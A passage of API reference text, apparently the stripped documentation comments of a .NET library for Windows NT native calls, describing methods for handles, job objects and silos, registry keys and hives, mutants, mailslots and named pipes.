ID path. + + + + Generate a DOS filename from a full filename. + + The full filename. + True to allow extended characters. + Number of iterations of the algorithm to test. + True throw on error. + The DOS filename. + + + + Generate a DOS filename from a full filename. + + The full filename. + True to allow extended characters. + Number of iterations of the algorithm to test. + The DOS filename. + + + + Generate a DOS filename from a full filename. + + The full filename. + True to allow extended characters. + The DOS filename. + + + + Is the filename a legal 8dot3 name. + + The filename to check. + True if it's a legal 8dot3 name. + + + + Class representing a NT FilterConnectionPort object. Note this is just a dummy object for typing purposes. + + + + + A generic wrapper for any object, used if we don't know the type ahead of time. + + + + + Convert the generic object to the best typed object. + + The typed object. Can be NtGeneric if no better type is known. + + + + Convert the generic object to the best typed object. + + True to throw on error. + The typed object. Can be NtGeneric if no better type is known. + + + + Returns whether this object is a container. + + + + + Class to represent a system handle + + + + + The ID of the process holding the handle + + + + + Get the image path for the process which contains this handle. + + + + + Get name of the process which contains this handle. + + + + + The object type index + + + + + The object type name + + + + + The object type + + + + + The handle attribute flags. + + + + + The handle value + + + + + The address of the object. + + + + + The granted access mask + + + + + The granted access mask as a string. + + + + + The granted access mask as a string. + + + + + Whether the handle is inheritable. + + + + + Whether the handle is protected from close. + + + + + Whether the handle has write access. + + + + + Whether the handle has read access. + + + + + Whether the handle has execute access. + + + + + Whether the handle has full access. + + + + + The name of the object (needs to have set query access in constructor) + + + + + The security of the object (needs to have set query access in constructor) + + + + + Indicates if the handle was valid. + + This can cause the handle's values to be queried which can take time. + + + + Overridden ToString. + + The handle as a string. + + + + Get handle into the current process + + True to throw on error. + The handle to the object + + + + Get handle into the current process + + The handle to the object + + + + Close the handle in the original process. + + True throw on error. + The NT status code. + This is not recommended. + + + + Close the handle in the original process. + + This is not recommended. + + + + Class to call NT heap APIs. + + + + + Allocate a buffer from the heap. + + Heap flags. + Size of the allocation. + True to throw on error. + The allocated memory address. + + + + Allocate a buffer from the heap. + + Heap flags. + Size of the allocation. + The allocated memory address. + + + + Free a buffer from the heap. + + Heap flags. + Address of the allocation. + True to throw on error. + + + + Free a buffer from the heap. + + Heap flags. + Address of the allocation. + + + + Get the current process heap. + + + + + Class representing an NT IO Completion Port object + + + + + Create an IO Completion Port object + + The object attributes + The desired access for the event + Number of concurrent threads to process I/O packets. 0 for CPU count. + True to throw an exception on error. + The NT status code and object result. + Thrown on error. + + + + Create an IO Completion Port object + + The object attributes + The desired access for the event + Number of concurrent threads to process I/O packets. 0 for CPU count. + The IO Completion Port object. + Thrown on error. + + + + Create an IO Completion Port object + + The path to the IO Completion Port + The root object for relative path names + The desired access for the event + Number of concurrent threads to process I/O packets. 0 for CPU count. + The IO Completion Port object. + Thrown on error. + + + + Create an unnamed IO Completion Port object. + + The IO Completion Port object. + Thrown on error. + + + + Open an IO Completion Port object + + The object attributes + The desired access for the event + The IO Completion Port object. + Thrown on error. + + + + Open an IO Completion Port object + + The object attributes + The desired access for the event + True to throw an exception on error. + The NT status code and object result. + Thrown on error. + + + + Open an IO Completion Port object + + The path to the IO Completion Port + The root object for relative path names + The desired access for the event + The IO Completion Port object. + Thrown on error. + + + + Open an IO Completion Port object + + The path to the IO Completion Port + The IO Completion Port object. + Thrown on error. + + + + Remove a queued status from the queue. + + An optional timeout. + True to throw on error. + The completion result. + Thrown on error or timeout. + + + + Remove a queued status from the queue. + + An optional timeout. + The completion result. + Thrown on error or timeout. + + + + Remove multiple queued status from the queue. + + Maximum number of status to remove. + An optional timeout. + Indicate whether the wait is alertable. + True to throw on error. + Array of completion results. Length can be <= max_count. + + + + Remove multiple queued status from the queue. + + Maximum number of status to remove. + An optional timeout. + Indicate whether the wait is alertable. + Array of completion results. Length can be <= max_count. If timeout then returns an empty array. + + + + Remove multiple queued status from the queue. + + Maximum number of status to remove. + Array of completion results. Length can be <= max_count + + + + Remove a queued status from the queue. Wait for an infinite time for the result. + + The completion result. + + + + Add a queued status to the queue. + + The optional key context. + The optional APC context. + Status code + The information context. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Get current depth of IO Completion Port + + + + + Memory control method. + + + + + Buffered. + + + + + IN Direct. + + + + + OUT Direct. + + + + + Neither. + + + + + Access control flags. + + + + + Any access. + + + + + Read access. + + + + + Write access. + + + + + Represents a NT file IO control code. + + + + + Type of device + + + + + Function number + + + + + Buffering method + + + + + Access of file handle + + + + + Is the function number custom, i.e. has the top bit set. + + + + + Get a known name associated with this IO control code. + + + + + Constructor + + Type of device + Function number + Buffering method + Access of file handle + + + + Constructor + + Raw IO control code to convert. + + + + Static method to create an NtIoControlCode + + The conde as an integer. + The io control code. + + + + Convert the io control code to an Int32 + + The int32 version of the code + + + + Overriden hash code. + + The hash code. + + + + Overridden equals. + + The object to compare against. + True if equal. + + + + Overridden ToString method. + + The IO control code as a string. + + + + Format IO control code with an format specifier. + + The format specified. For example use X to format as a hexadecimal number. + The formatted string. + + + + Format the underlying IO control code with an format specifier. + + The format specified. For example use X to format as a hexadecimal number. + Format provider. + The formatted string. + + + + Class representing a NT Job object + + + + + Create a job object + + The object attributes + Desired access for job. + True to throw an exception on error. + The NT status code and object result. + + + + Create a job object + + The object attributes + Desired access for job. + The Job object. + + + + Create a job object + + The path to the job object (can be null) + The root object when path is relative + Desired access for job. + The Job object + + + + Create a job object + + The path to the job object (can be null) + The root object when path is relative + The Job object + + + + Create an unnamed job object + + The Job object + + + + Open a job object + + The object attributes + Desired access for job. + True to throw an exception on error. + The NT status code and object result. + + + + Open a job object + + The object attributes + Desired access for job. + The Job object + + + + Open a job object + + The path to the job object + The root object when path is relative + Desired access for the job object + The Job object + + + + Open a job object + + The path to the job object + The root object when path is relative + The Job object + + + + Create and initialize a Silo, + + Flags for root directory. + Desired access for the job. + Object attributes. + True to throw on error. + The Job object. + + + + Create and initialize a Silo, + + Flags for root directory. + Desired access for the job. + Object attributes. + The Job object. + + + + Create and initialize a Silo, + + Flags for root directory. + True to throw on error. + The Job object. + + + + Create an initialize a Silo, + + Flags for root directory. + The Job object. + + + + Create and initialize a Server Silo, + + Flags for root directory. + True to throw on error. + Path to the system root. + Event to signal when silo deleted. + True if a downlevel container. + Desired access for the job. + Object attributes. + The Job object. + + + + Create and initialize a Server Silo, + + Flags for root directory. + Path to the system root. + Event to signal when silo deleted. + True if a downlevel container. + Desired access for the job. + Object attributes. + The Job object. + + + + Create and initialize a Server Silo, + + Flags for root directory. + True to throw on error. + Path to the system root. + Event to signal when silo deleted. + True if a downlevel container. + The Job object. + + + + Create and initialize a Server Silo, + + Flags for root directory. + Path to the system root. + Event to signal when silo deleted. + True if a downlevel container. + The Job object. + + + + Convert Job object into a Silo + + True to throw on error. + The NT status code. + + + + Convert Job object into a Silo + + + + + Initialize a Silo, + + Flags for root directory. + True to throw on error. + The NT status code. + + + + Initialize a Silo, + + Flags for root directory. + + + + Initialize a Silo to a Server Silo. + + Event to signal when silo deleted. + True if a downlevel container. + True to throw on error. + The NT status code. + You must have set a system root and added a \Device directory (which shadows the real directory) to the silo object directory. + + + + Initialize a Silo to a Server Silo. + + Event to signal when silo deleted. + True if a downlevel container. + The NT status code. + + + + Create the silo's root object directory. + + The flags for the creation. + True to throw on error. + The NT status code. + + + + Create the silo's root object directory. + + The flags for the creation. + The NT status code. + + + + Assign a process to this job object. + + The process to assign. + + + + Assign a process to this job object. + + True to throw on error. + The process to assign. + The NT status code. + + + + Assign a process to this job object using current Job on Windows 1709+. + + + + + Assign a process to this job object using current Job on Windows 1709+. + + + + + Associate a completion port with the job. + + The completion port. + The key associated with the port. + + + + Terminate this job object. + + The termination status. + True to throw on error. + The NT status code. + + + + Terminate this job object. + + The termination status. + + + + Set the limit flags for the job. + + The limit flags. + True to throw on error. + The NT status code. + + + + Set the limit flags for the job. + + The limit flags. + + + + Set the Silo system root directory. + + The absolute path to the system root directory. + True to throw on error. + The system_root path must start with a capital drive letter and not end with a backslash. + The NT status code. + + + + Set the Silo system root directory. + + The absolute path to the system root directory. + The system_root path must start with a capital drive letter and not end with a backslash. + + + + Set the active process limit. + + The number of active processes in the job. + True to throw on error. + The NT status code. + + + + Set the active process limit. + + The number of active processes in the job. + + + + Set minimum and maximum working set size. + + The minimum working set size. + The maximum working set size. + True to throw on error. + The NT status code. + + + + Set minimum and maximum working set size. + + The minimum working set size. + The maximum working set size. + + + + Set the process memory limit. + + The memory limit for a process. + True to throw on error. + The NT status code. + + + + Set the process memory limit. + + The memory limit for a process. + The NT status code. + + + + Set the job memory limit. + + The memory limit for a job. + True to throw on error. + The NT status code. + + + + Set the job memory limit. + + The memory limit for a job. + The NT status code. + + + + Set the time limit for a process. + + The time limit for a process, in 100ns ticks. Set to 0 to clear the timeout. + True to throw on error. + The NT status code. + + + + Set the time limit for a process. + + The time limit for a process, in 100ns ticks. Set to 0 to clear the timeout. + + + + Set the time limit for a process. + + The time limit for a process. + True to throw on error. + The NT status code. + + + + Set the time limit for a process. + + The time limit for a process. + + + + Set the time limit for a job. + + The time limit for a job, in 100ns ticks. Set to 0 to clear timeout. + True to throw on error. + The NT status code. + + + + Set the time limit for a job. + + The time limit for a job, in 100ns ticks. Set to 0 to clear timeout. + + + + Set the time limit for a job. + + The time limit for a job. + True to throw on error. + The NT status code. + + + + Set the time limit for a job. + + The time limit for a job. + + + + Get list of process IDs in Job. + + True to throw on error. + The list of process IDs. + + + + Get list of process IDs in Job. + + The list of process IDs. + + + + Set UI Restriction Flags. + + The UI Restriction Flags. + True to throw on error. + The NT status code. + + + + Set UI Restriction Flags. + + The UI Restriction Flags. + The NT status code. + + + + Query Silo Root directory. + + True to throw on error. + The silo root directory. + + + + Get Silo basic information. + + True to throw on error. + The Silo Basic Information. + + + + Get Silo basic information. + + True to throw on error. + The Server Silo Basic Information. + + + + Get Silo user shared data. + + True to throw on error. + The Silo User Shared Data. + + + + Get whether this job object can be impersonated. + + True to throw on error. + True if the job object can be impersonated. + + + + Enable thread impersonation on this job object. + + True to throw on error. + The NT status code. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Get or set completion filter for job object. + + + + + The count of completions for the job. + + + + + Get or set the Maximum Bandwith NetRate limitation. + + + + + Get or set the DSCP Tag NetRate limitation. + + + + + Get or set the active process limit. + + + + + Get or set the active process limit. + + + + + Get or set the minimum working set size. + + + + + Get or set the maximum working set size. + + + + + Get or set the process time limit. + + + + + Get or set the process time limit. + + + + + Get or set the process memory limit. + + + + + Get or set the process memory limit. + + + + + Get used peak job memory used. + + + + + Get used peak job memory used. + + + + + Get or set the job limit flags. + + + + + Get or set the job UI Restriction flags. + + + + + Get or set whether job breakaway is allowed. + + + + + Get or set whether silenty job breakaway is allowed. + + + + + ID of container. + + + + + ID of container telemetry. + + + + + Job ID. + + + + + Get the Silo's Root Directory. + + + + + Get Silo basic information. + + + + + Get Silo basic information. + + + + + Get Silo user shared data. + + + + + Get or set the thread impersonation status. + + + + + Get whether this Job object is a silo. + + + + + Class to represent an NT Key object + + + + + Load a new hive + + The destination path + The path to the hive + Load flags + The opened root key + Thrown on error. + + + + Load a new hive + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Desired access for the root key + The opened root key + Thrown on error. + + + + Load a new hive + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Desired access for the root key + Key that this hive will be trusted for. + Event handle for key load. + True to throw an exception on error. + The NT status code and object result. + + + + Load a new hive and do not open the root key. + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Key that this hive will be trusted for. + Event handle for key load. + True to throw an exception on error. + The NT status code. + + + + Load a new hive + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Desired access for the root key + Key that this hive will be trusted for. + Event handle for key load. + The opened key. + + + + Load a new hive and do not open the root key. + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Key that this hive will be trusted for. + Event handle for key load. + + + + Load a new hive + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Desired access for the root key + True to throw an exception on error. + The NT status code and object result. + + + + Load a new hive + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Desired access for the root key + Token to open the hive files under. + Key that this hive will be trusted for. + Event handle for key load. + True to throw an exception on error. + The NT status code and object result. + + + + Load a new hive and do not open the root key. + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Token to open the hive files under. + Key that this hive will be trusted for. + Event handle for key load. + True to throw an exception on error. + The NT status code. + + + + Load a new hive + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Desired access for the root key + Token to open the hive files under. + Key that this hive will be trusted for. + Event handle for key load. + The loaded key. + + + + Load a new hive and do not open the root key. + + Object attributes for the key name + Object attributes for the path to the hive file + Load flags + Token to open the hive files under. + Key that this hive will be trusted for. + Event handle for key load. + + + + Unload an existing hive. + + Object attributes for the key name + Unload flags + True to throw an exception on error. + The NT status code. + + + + Unload an existing hive. + + Path to key to unload. + Unload flags + Thrown on error. + + + + Unload an existing hive. + + Path to key to unload. + Thrown on error. + + + + Create a new Key + + Object attributes for the key name + Desired access for the root key + Create options + Optional transaction object. + True to throw an exception on error. + The NT status code and object result. + + + + Create a new Key + + Object attributes for the key name + Desired access for the root key + Create options + True to throw an exception on error. + The NT status code and object result. + + + + Create a new Key + + Object attributes for the key name + Desired access for the root key + Create options + The opened key + Thrown on error. + + + + Create a new Key + + Object attributes for the key name + Desired access for the root key + Create options + Optional transaction object. + The NT status code and object result. + + + + Create a new Key + + Path to the key to create + Root key if key_name is relative + Desired access for the root key + Create options + The opened key + Thrown on error. + + + + Try and open a Key + + Object attributes for the key name + Desired access for the root key + Open options. + Optional transaction object. + True to throw an exception on error. + The NT status code and object result. + + + + Try and open a Key + + Object attributes for the key name + Desired access for the root key + Open options. + True to throw an exception on error. + The NT status code and object result. + + + + Try and open a Key + + Path to the key to open + Root key if key_name is relative + Desired access for the root key + Open options. + Optional transaction object. + True to throw an exception on error. + The NT status code and object result. + + + + Try and open a Key + + Path to the key to open + Root key if key_name is relative + Desired access for the root key + Open options. + True to throw an exception on error. + The NT status code and object result. + + + + Open a Key + + Object attributes for the key name + Desired access for the root key + Open options. + The opened key + Thrown on error. + + + + Open a Key + + Object attributes for the key name + Desired access for the root key + Open options. + Optional transaction object. + The opened key + Thrown on error. + + + + Open a Key + + Path to the key to open + Root key if key_name is relative + Desired access for the root key + The opened key + Thrown on error. + + + + Query a license value. While technically not directly a registry key + it has many of the same properties such as using the same registry + value types. + + The name of the license value. + True to throw an exception on error + The license value key + + + + Query a license value. While technically not directly a registry key + it has many of the same properties such as using the same registry + value types. + + The name of the license value. + The license value key + + + + Create a registry key symbolic link + + Root key if path is relative + Path to the key to create + Target resistry path + The created symbolic link key + Thrown on error. + + + + Open the machine key + + The opened key with the maximum access allowed. + Thrown on error. + + + + Open the machine key + + The opened key with the maximum access allowed. + True to throw on error. + Thrown on error. + + + + Open the user key + + The opened key + Thrown on error. + + + + Open the user key + + The opened key with the maximum access allowed. + True to throw on error. + Thrown on error. + + + + Open a specific user key + + The SID of the user to open + The opened key + Thrown on error. + + + + Open the user key + + The SID of the user to open + True to throw on error. + The opened key with the maximum access allowed. + Thrown on error. + + + + Open the current user key + + The opened key + Thrown on error. + + + + Open the current user key + + True to throw on error. + The opened key with the maximum access allowed. + Thrown on error. + + + + Open the root key + + The opened key + Thrown on error. + + + + Open the root key + + The opened key with the maximum access allowed. + True to throw on error. + Thrown on error. + + + + Create a new Key + + Path to the key to create + The opened key + Thrown on error. + + + + Create a new Key + + Path to the key to create + Desired access for the root key + Create options + The opened key + Thrown on error. + + + + Delete the key + + True to throw on error. + + + + Delete the key + + + + + Set a resistry value + + The name of the value + The type of the value + The raw value data + True to throw on error. + Thrown on error. + The NT status code. + + + + Set a resistry value + + The name of the value + The type of the value + The raw value data + Thrown on error. + + + + Set a string resistry value + + The name of the value + The type of the value + The value data + True to throw on error. + Thrown on error. + The NT status code. + + + + Set a string resistry value as REG_SZ. + + The name of the value + The value data + True to throw on error. + Thrown on error. + The NT status code. + + + + Set a string resistry value + + The name of the value + The type of the value + The value data + Thrown on error. + + + + Set a string resistry value as REG_SZ. + + The name of the value + The value data + Thrown on error. + + + + Set a list of strings as a resistry value. + + The name of the value + The list of strings to set. + True to throw on error. + Thrown on error. + The NT status code. + + + + Set a list of strings as a resistry value. + + The name of the value + The list of strings to set. + Thrown on error. + + + + Set a DWORD resistry value + + The name of the value + The value data + True to throw on error. + Thrown on error. + The NT status code. + + + + Set a DWORD resistry value + + The name of the value + The value data + True to set the value of big endian. + True to throw on error. + Thrown on error. + The NT status code. + + + + Set a QWORD resistry value + + The name of the value + The value data + True to throw on error. + Thrown on error. + The NT status code. + + + + Set a DWORD resistry value + + The name of the value + The value data + Thrown on error. + + + + Set a DWORD resistry value + + The name of the value + The value data + True to set the value of big endian. + Thrown on error. + + + + Set a QWORD resistry value + + The name of the value + The value data + Thrown on error. + + + + Delete a registry value + + The name of the value + True to throw on error. + Thrown on error. + The NT status code. + + + + Delete a registry value + + The name of the value + Thrown on error. + + + + Query a value by name + + The name of the value + True to throw on error + The value information + + + + Query a value by name + + The name of the value + The value information + Thrown on error. + + + + Query all values for this key + + A list of values + Thrown on error. + + + + Query all subkey entries. + + The list of subkey entries + Thrown on error. + + + + Query all subkey names + + The list of subkey names + Thrown on error. + + + + Return a list of subkeys which can be accessed. + + The required access rights for the subkeys + True to open link keys rather than following the link. + True to open keys with backup flag set. + The disposable list of subkeys. + + + + Return a list of subkeys which can be accessed. + + The required access rights for the subkeys + The disposable list of subkeys. + Thrown on error. + + + + Set a symbolic link target for this key (must have been created with + appropriate create flags) + + The symbolic link target. + True to throw on error. + The NT status code. + Thrown on error. + + + + Set a symbolic link target for this key (must have been created with + appropriate create flags) + + The symbolic link target. + + + + Get the symbolic link target for this key. + + True to throw on error. + The symbolic link target. + Thrown on error. + + + + Get the symbolic link target for this key. + + The symbolic link target. + Thrown on error. + + + + Open a key + + The path to the key to open + The opened key + Thrown on error. + + + + Open a key + + The path to the key to open + Access rights for the key + The opened key + Thrown on error. + + + + Open a key + + The path to the key to open + Access rights for the key + True to throw on error. + The opened key + Thrown on error. + + + + Open a key + + The path to the key to open + Access rights for the key + Key open options. + True to throw on error. + The opened key + Thrown on error. + + + + Reopen the key with different access rights. + + The access rights to reopen with. + Open options. + True to throw on error. + The opened key. + + + + Reopen the key with different access rights. + + The access rights to reopen with. + The object attributes to open with. + Open options. + True to throw on error. + The opened key. + + + + Reopen the key with different access rights. + + The access rights to reopen with. + Open options. + The opened key. + + + + Convert object to a .NET RegistryKey object + + The registry key object + + + + Rename key. + + The new name for the key. + True to throw on error. + The NT status code. + Thrown on error. + + + + Rename key. + + The new name for the key. + Thrown on error. + + + + Save the opened key into a file. + + The file to save to. + Save key flags + True to throw on error. + The NT status code. + Thrown on error. + + + + Save the opened key into a file. + + The file to save to. + Save key flags + + + + Save the opened key into a file. + + The file path to save to. + Save key flags + True to throw on error. + The NT status code. + Thrown on error. + + + + Save the opened key into a file. + + The file path to save to. + Save key flags + + + + Save the opened key into a file. + + The file path to save to. + + + + Restore key from a file. + + The file to restore from + Restore key flags + True to throw on error. + The NT status code. + Thrown on error. + + + + Restore key from a file. + + The file to restore from + Restore key flags + + + + Restore key from a file. + + The file path to restore from + Restore key flags + True to throw on error. + The NT status code. + Thrown on error. + + + + Restore key from a file. + + The file path to restore from + Restore key flags + + + + Restore key from a file. + + The file path to restore from + + + + Try and lock the registry key to prevent further modification. + + Note that this almost certainly never works from usermode, there's an explicit + check to prevent it in the kernel. + + + + Wait for a change on the registry key. + + Specify what changes will be notified. + True to watch the entire tree. + The status from the change notification. + Thrown on error. + + + + Wait for a change on thie registry key asynchronously. + + Specify what changes will be notified. + True to watch the entire tree. + The status from the change notification. + Thrown on error. + + + + Visit all accessible keys under this one. + + A function to be called on every accessible key. Return true to continue enumeration. + Specify the desired access for the keys. + True to recurse into sub keys. + Specify max recursive depth. -1 to not set a limit. + Open the key using backup privileges. + + + + Visit all accessible directories under this one. + + A function to be called on every accessible directory. Return true to continue enumeration. + + + + Visit all accessible directories under this one. + + A function to be called on every accessible directory. Return true to continue enumeration. + True to recurse into sub directories. + + + + Visit all accessible directories under this one. + + A function to be called on every accessible directory. Return true to continue enumeration. + Specify the desired access for the directory + True to recurse into sub directories. + Open the key using backup privileges. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Get key last write time + + The last write time + Thrown on error. + + + + Get key subkey count + + The subkey count + Thrown on error. + + + + Get key value count + + The key value count + Thrown on error. + + + + Get the key title index + + The key title index + Thrown on error. + + + + Get the key class name + + The key class name + Thrown on error. + + + + Get the maximum key value name length + + The maximum key value name length + Thrown on error. + + + + Get the maximum key value data length + + The maximum key value data length + Thrown on error. + + + + Get the maximum subkey name length + + The maximum subkey name length + Thrown on error. + + + + Get the maximum class name length + + The maximum class name length + Thrown on error. + + + + Get the key path as a Win32 style one. If not possible returns + the original path. + + + + + The disposition when the key was created. + + + + + Indicates the handle is a special pre-defined one by the kernel. + + + + + Get or set virtualization flags. + + + + + Get or set key control flags. + + + + + Get or set wow64 flags. + + + + + Get key flags. + + + + + Indicates if this key is from a trusted hive. + + + + + Indicates if this key is a symbolic link. + + + + + Indicates if this key is volatile. + + + + + Get the name from NtQueryKey. + + + + + Returns whether this object is a container. + + + + + A key entry. + + + + + The name of the key. + + + + + The last write time. + + + + + The key's title index. + + + + + Class to represent a loaded hive from the Hive List. + + + + + Path to the root key. + + + + + Path to the hive file. + + + + + Utilities for registry keys. + + + + + Convert a Win32 style keyname such as HKEY_LOCAL_MACHINE\Path into a native key path. + + The win32 style keyname to convert. + The converted keyname. + Thrown if invalid name. + + + + Attempt to convert an NT style registry key name to Win32 form. + If it's not possible to convert the function will return the + original form. + + The NT path to convert. + The converted path, or original if it can't be converted. + + + + Query list of loaded hives from the Registry. + + Convert the file path to a DOS path. + The list of loaded hives. + + + + Query list of loaded hives from the Registry. + + The list of loaded hives. + + + + Class representing a single Key value + + + + + Name of the value + + + + + Type of the value + + + + + Raw data for the value + + + + + Title index for the value + + + + + Get the value as an object. + + + + + Convert the value to a string + + The value as a string + + + + Convert value to an object + + The value as an object + + + + LDR static methods. + + + + + Get address of a procedure in a mapped image. + + The handle to the mapped image. + The name of the procedure to find. + True to throw on error. + The procedure address. + + + + Get address of a procedure in a mapped image. + + The handle to the mapped image. + The name of the procedure to find. + The procedure address. + + + + Class to access NT locale information + + + + + Get mapped NLS section + + The type of section + The codepage number + True to throw on error. + The mapped section if it exists. + + + + Get mapped NLS section + + The type of section + The codepage number + The mapped section if it exists. + + + + Get default locale ID + + True if the locale should be the thread's, otherwise the systems + True to throw on error. + The locale ID + + + + Get default locale ID + + True if the locale should be the thread's, otherwise the systems + The locale ID + + + + Set default locale + + True if the locale should be the thread's, otherwise the systems + True to throw on error. + The locale ID + The NT status code. + + + + Set default locale + + True if the locale should be the thread's, otherwise the systems + The locale ID + + + + Class representing a NT File Mailslot client object + + + + + Set the mailslot read timeout. + + The timeout to set. + True to throw on error. + The NT Status code. + + + + Peek on the current status of the Mailslot. + + True to throw on error. + The peek status. + + + + Peek on the current status of the Mailslot. + + The peek status. + + + + Get or set the Read Timeout. + + + + + Get maximum message size. + + + + + Get mailslot quota. + + + + + Get next message size. + + + + + Get messages available. + + + + + Class representing a mapped section + + + + + The process which the section is mapped into + + + + + The valid length of the mapped section from the current position. + + This doesn't take into account the possibility of fragmented commits. + + + + Get full path for mapped section. + + + + + Query the memory protection setting for this mapping. + + + + + Get image signing level. + + + + + Get the base address of the mapped section. + + + + + Release the internal handle + + + + + + Checks if this mapped view represents the same file. + + The address to check. + True to throw on error. + True if the mapped view represents the same file. + + + + Checks if this mapped view represents the same file. + + The address to check. + True if the mapped view represents the same file. + + + + Detaches the current buffer and allocates a new one. + + Specify a new length for the detached buffer. Must be <= Length. + The detached buffer. + The original buffer will become invalid after this call. + + + + Class representing a NT Mutant object + + + + + Create a new mutant + + The path to the mutant + The root object if path is relative + True to set current thread as initial owner + The opened mutant + Thrown on error + + + + Create a new mutant + + Object attributes + True to set current thread as initial owner + Desired access for mutant + The opened mutant + Thrown on error + + + + Create a new mutant + + Object attributes + True to set current thread as initial owner + Desired access for mutant + True to throw an exception on error. + The NT status code and object result. + + + + Open a mutant + + The path to the mutant + The root object if path is relative + Desired access for mutant + The opened mutant + Thrown on error + + + + Open a mutant + + The path to the mutant + The root object if path is relative + The opened mutant + Thrown on error + + + + Open a mutant + + Object attributes + Desired access for mutant + The opened mutant + Thrown on error + + + + Open a mutant + + Object attributes + Desired access for mutant + True to throw an exception on error. + The NT status code and object result. + + + + Release the mutant + + True to throw on error. + The previous release count + + + + Release the mutant + + The previous release count + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Get the owner of the mutant. + + + + + Get current count. + + + + + Get wether mutant owned by current thread. + + + + + Get whether mutant is abandoned. + + + + + Pipe attribute type. + + + + + The pipe attributes. + + + + + The pipe connect attributes. + + + + + The pipe handle attributes. + + + + + Class to add additional methods to a file for a named pipe. This is a base class for server and client types. + + + + + Get a named attribute from the pipe. + + The attribute type to query. + The name of the attribute. + True to throw on error. + The attribute value as a byte array. + Thrown on error. + + + + Set a named attribute for a pipe. + + The attribute type to set. + The name of the attribute. + The value to set. + True to throw on error. + The status code for the attribute. + Thrown on error. + + + + Set a named attribute for a pipe. + + The attribute type to set. + The name of the attribute. + The value to set. + Thrown on error. + + + + Set a named attribute for a pipe. + + The attribute type to set. + The name of the attribute. + The value to set. + True to throw on error. + The status code for the attribute. + Thrown on error. + + + + Set a named attribute for a pipe. + + The attribute type to set. + The name of the attribute. + The value to set. + Thrown on error. + + + + Set a named attribute for a pipe. + + The attribute type to set. + The name of the attribute. + The value to set. + True to throw on error. + The status code for the attribute. + Thrown on error. + + + + Set a named attribute for a pipe. + + The attribute type to set. + The name of the attribute. + The value to set. + Thrown on error. + + + + Get a named attribute from the pipe. + + The attribute type to query. + The name of the attribute. + The attribute value as a byte array. + Thrown on error. + + + + Get a named attribute from the pipe as an integer. + + The attribute type to query. + The name of the attribute. + True to throw on error. + The attribute value as an integer. + Thrown on error. + + + + Get a named attribute from the pipe as an integer. + + The attribute type to query. + The name of the attribute. + The attribute value as an integer. + Thrown on error. + + + + Get a named attribute from the pipe as an integer. + + The attribute type to query. + The name of the attribute. + True to throw on error. + The attribute value as an integer. + Thrown on error. + + + + Get a named attribute from the pipe as an integer. + + The attribute type to query. + The name of the attribute. + The attribute value as an integer. + Thrown on error. + + + + Send and receive a message in one call. + + The input buffer to send. + The maximum output size. + True to throw on error. + The received buffer. + + + + Send and receive a message in one call. + + The input buffer to send. + The maximum output size. + The received buffer. + + + + Send and receive a message in one call. + + The input buffer to send. + The maximum output size. + True to throw on error. + The received buffer. + + + + Send and receive a message in one call. + + The input buffer to send. + The maximum output size. + The received buffer. + + + + Set pipe information flags. + + The read mode to set. + The completion mode. + True to throw on error. + The NT status code. + + + + Set pipe information flags. + + The read mode to set. + The completion mode. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Pipe completion mode. + + + + + Pipe read mode. + + + + + Pipe type. + + + + + Pipe configuration. + + + + + Maximum instances of the pipe, -1 is unlimited. + + + + + Current pipe instances. + + + + + Inbound quota. + + + + + Available bytes to read. + + + + + Outbound quota. + + + + + Available outbound quota. + + + + + Connect state of the named pipe. + + + + + Type of pipe endpoint. + + + + + Class to add additional methods to a file for a named pipe server. + + + + + Listen for a new connection to this named pipe server. + + + + + Listen for a new connection to this named pipe server asynchronously. + + An optional cancellation token. + The async task to complete. + + + + Listen for a new connection to this named pipe server asynchronously. + + The async task to complete. + + + + Disconnect this named pipe server. + + + + + Disconnect this named pipe server asynchronously. + + An optional cancellation token. + The async task to complete. + + + + Disconnect this named pipe server asynchronously. + + The async task to complete. + + + + Impersonate the client of the named pipe. + + The impersonation context. Dispose to revert to self. + + + + Get client process ID. + + + + + Get client session ID. If this is 0 then the client is local, otherwise it's set by the SMB server. + + + + + Get client computer name. + + + + + Get the default named pipe ACL for the current caller. + + The default named pipe ACL. + + + + Class to add additional methods to a file for a named pipe client. + + + + + Disables impersonation on a named pipe. + + + + + Get server process ID. + + + + + Get client session ID. + + + + + A pair of named pipes. + + + + + Read pipe for the pair. + + + + + Write pipe for the pair. + + + + + Base class for all NtObject types we handle + + + + + Get the basic information for the object. + + The basic information + + + + Base constructor + + Handle to the object + + + + Duplicate the internal handle to a new handle. + + Attribute flags for new handle + The source handle to duplicate + The source process to duplicate from + The desination process for the handle + Duplicate handle options + The access rights for the new handle + True to throw an exception on error. + The NT status code and object result. + + + + Duplicate the internal handle to a new handle. + + The source handle to duplicate + The desination process for the handle + Duplicate handle options + The access rights for the new handle + The duplicated handle. + + + + Duplicate a handle from the current process to a new handle with the same access rights. + + The source handle to duplicate + The desination process for the handle + The duplicated handle. + + + + Duplicate a handle from and to the current process to a new handle with the same access rights. + + The source handle to duplicate + The duplicated handle. + + + + Duplicate a handle from and to the current process to a new handle with the same access rights. + + The source handle to duplicate + True to throw on error. + The duplicated handle. + + + + Duplicate a handle from and to the current process to a new handle with new access rights. + + The source handle to duplicate + The access for the new handle. + The duplicated handle. + + + + Indicates whether a specific type of kernel object can be opened. + + The kernel typename to check. + True if this type of object can be opened. + + + + Open an NT object with a specified type. + + The type to open. If null the method will try and lookup the appropriate type. + Object attributes for object. + Generic access rights to the object. + True to throw on error. + The opened object. + Thrown if an error occurred opening the object. + + + + Open an NT object with a specified type. + + The name of the type to open (e.g. Event). If 